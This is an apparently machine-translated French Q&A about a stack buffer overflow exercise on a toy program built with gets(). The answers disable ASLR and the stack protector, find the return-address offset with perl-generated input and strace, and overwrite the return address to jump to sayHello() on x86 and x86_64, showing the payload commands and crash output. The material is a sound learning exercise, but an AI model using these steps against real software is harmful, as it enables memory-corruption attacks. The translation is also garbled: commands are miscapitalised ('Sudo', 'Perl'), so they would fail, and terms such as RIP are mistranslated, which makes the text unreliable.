Pour noter avant de compiler le programme I handicapé ASLR via:
$ Sudo -i
root@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_space
root@laptop:~# exit
logout
J'ai ensuite compilé le programme via:
gcc -ggdb -mpreferred-stack-boundary=4 -o test vuln.c
(Je n'ai pas non plus compris le paramètre -mpreferred-stack-boundary=4
)
J'ai un programme:
Le débordement en théorie devrait se produire lorsque le compilateur atteint la ligne de gets(buff);
Où j'ai essayé de déborder l'adresse de retour ($RIP
).
Vous trouverez ci-dessous le démontage de ma méthode principale, getInput()
et sayHello()
(dans le but de montrer l'adresse de la méthode sayHello
, 0x4005d
, Qui J'espère écraser la pile RIP
avec).
Lorsque je donne une entrée de plus de 15 x A, je megfault le programme. Et quand je fournis plus de 24 x A, je commence à écraser le $RIP
, C'est-à-dire que. 25 x A fait de la valeur RIP
0x00000000004000 41. Logiquement, j'ai essayé de fournir ensuite les valeurs hexagonales de "4005DC" (Sayhello () (Sayhello ()), mais j'échoue lorsque vous en essayez. Lorsque vous utilisez des convertisseurs de texte en ligne sur des textos, la valeur de texte correspondante que je reçois de "4005DC" est "@ ü".
Je comprends donc que lorsque le programme a atteint l'instruction RETQ dans getInput()
, il apparaîtra l'adresse de retour du sommet de la pile et allez-y.
x86 SEULE SOLUTION: (voir commentaires)
Si je suis votre tâche à droite, vous devez déborder le pointeur de fonction pour sayHello.
Par conséquent, la première tâche est d'identifier l'adresse de fonctions.
nm test | grep sayHello
Dans mon cas, ce fut le résultat
0804844b T sayHello
Je dois donc remplacer l'adresse de retour (RET) de getInput () avec 0x0804844b. Maintenant, vous pouvez identifier par gdb à quelle distance de RET est situé le buff tampon. J'ai choisi une approche différente, car il était tout à fait évident quelle gamme il sera. Par conséquent, ma prochaine étape était d'identifier la quantité de données à mettre en buff RET sur écriture. Cela se fait à l'aide de la commande suivante qui va entrer dans une chaîne de " A " répété 28 fois lorsque le temps d'attente du programme pour l'entrée (gets ()):
Perl -e 'print "A"x28' | strace -i test
et cherché ligne telle apparaître à la fin:
[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
Ensuite, j'ai réduit le nombre de 28 à 24 et imprimé quatre fois B pour voir si l'adresse dans la sortie ci-dessus devient [42424242] - il ne l'a pas, donc je réduit 24-20 et vérifié à nouveau.
Perl -e 'print "A"x20; print "BBBB"' |strace -i ./test
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---
Bingo
La dernière étape consiste à remplacer BBBB avec l'adresse (petit-boutiste).
Perl -e 'print "A"x20; print "\x4b\x84\x04\x08"' | ./test
et la sortie était:
4\x04\x08"' | ./test
AAAAAAAAAAAAAAAAAAAAK�
DONENENNE!!!!
Segmentation fault (core dumped)
Je l'ai remplacé avec succès RET avec l'adresse de sayHello ().
Avec ce hors la poitrine, nous allons jeter un oeil à votre question de la chaîne de compilation.
-mpreferred-stack-boundary=4
Gcc homme est très utile ici. Vous dites gcc avec ce paramètre afin de maintenir la limite de la pile alignée de 2 ^ 4 (16 octets). Si vous voulez l'avoir à 16 octets, vous pouvez laisser le paramètre par défaut puisque c'est.
Cependant, je l'ai également utilisé le paramètre -fno-stack-protector
. Avec cela, je dis le compilateur de ne pas ajouter du code supplémentaire pour le contrôle de dépassement de mémoire tampon. Si vous laissez que, vous ne serez pas en mesure d'exploiter votre binaire de test.
Solution x86_64:
Désolé encore pour mon ignorance dans la première réponse, j'ai eu mon esprit dériver ...
Mais ce n'est en fait pas si différent, ici étape par étape, comment j'ai résolu ceci.
1) Compilation de code source :
$ gcc -fno-stack-protector -o vuln vuln.c
Remarque: j'ai renommé l'exécutable à Vuln au lieu de tester, juste quelque chose que j'aime commander mon système de fichiers.
2) Identifier Addr de Sayhello ():
$ nm vuln | grep sayHello
00000000004005bd T sayHello
Donc, l'ADDR de Sayhello est 0x0000004005bd
Nous devons écraser la déchirure avec cette valeur avant getInput()
Retours.
3) Identifiez l'emplacement de RET_ADDR pour être écrasé par Addr:
Semblable à la solution X86, nous devons identifier le nombre de fois que nous pouvons passer 'A' (ou tout autre caractère) que la valeur est stockée dans la localisation de RET_ADDR. GDB est votre ami ici, surtout avec PEDA . Vous pouvez trouver un excellent exemple ici .
Dans mon cas, c'était 24 octets => Perl -e 'print "A"x24'
4) Craft Pays de la charge utile sur RET_ADDR:
C'est la commande Perl, dont le résultat est introduit dans l'appel Objectif ().
Perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"'
La deuxième impression à l'intérieur de la commande Perl est utilisée pour réussir la modification de Sayhello () en petit-Endian.
5) Commande de tuyau de (4) au programme :
$ Perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"' | ./vuln
AAAAAAAAAAAAAAAAAAAAAAAA�@
DONENENNE!!!!
Segmentation fault (core dumped)